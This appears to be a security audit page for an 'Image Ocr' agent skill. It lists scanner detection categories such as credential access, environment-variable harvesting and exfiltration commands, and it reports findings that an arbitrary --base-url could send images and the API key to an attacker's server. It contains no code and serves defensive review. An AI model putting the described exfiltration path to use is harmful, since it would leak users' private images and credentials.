ClawHub
Back to skill

Security audit

Image Ocr

Security checks across malware telemetry and agentic risk

Overview

This skill is a straightforward remote OCR helper, but users should understand that selected images and prompts are sent to SiliconFlow and should not override the API endpoint casually.

Install only if you intend to use SiliconFlow for OCR. Keep the API key private, leave --base-url at its default unless you intentionally trust another endpoint, and avoid processing IDs, financial records, confidential screenshots, or other sensitive images unless you are comfortable sending them to the remote OCR provider.

SkillSpector

By NVIDIA
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (4)

Lp3

Medium
Category
MCP Least Privilege
Confidence
84% confidence
Finding
The skill documentation describes capabilities that read local files, use credentials from environment variables or a local secrets file, and send data to a remote API, but it does not declare those permissions explicitly. This creates a transparency and consent problem: users may invoke the skill without understanding that local images and secrets-backed network requests are involved.

Context-Inappropriate Capability

Medium
Confidence
97% confidence
Finding
The script accepts an arbitrary --base-url and then sends the full OCR payload and Bearer token to that endpoint. In a skill context, this enables data exfiltration of prompts, local image contents, and the SiliconFlow API key to any attacker-controlled server, especially because local files are converted to base64 data URIs and transmitted verbatim. The OCR skill context makes this more dangerous because users may process sensitive screenshots, receipts, or forms containing personal or financial information.

Missing User Warnings

Medium
Confidence
94% confidence
Finding
The skill encourages users to submit local image paths, image URLs, and multimodal inputs to an OCR service without clearly warning that the image contents may be transmitted to SiliconFlow over the network. Because screenshots, receipts, forms, and IDs often contain sensitive personal or financial data, this omission can lead to unintentional external disclosure.

Missing User Warnings

Low
Confidence
82% confidence
Finding
The documentation instructs users to configure an API key in an environment variable or local secrets file but does not include handling guidance beyond a file permission suggestion. Without explicit warnings, users may expose credentials through unsafe storage, shell history, logs, screenshots, or accidental sharing of configuration files.

VirusTotal

66/66 vendors flagged this skill as clean.

View on VirusTotal

Static analysis

No suspicious patterns detected.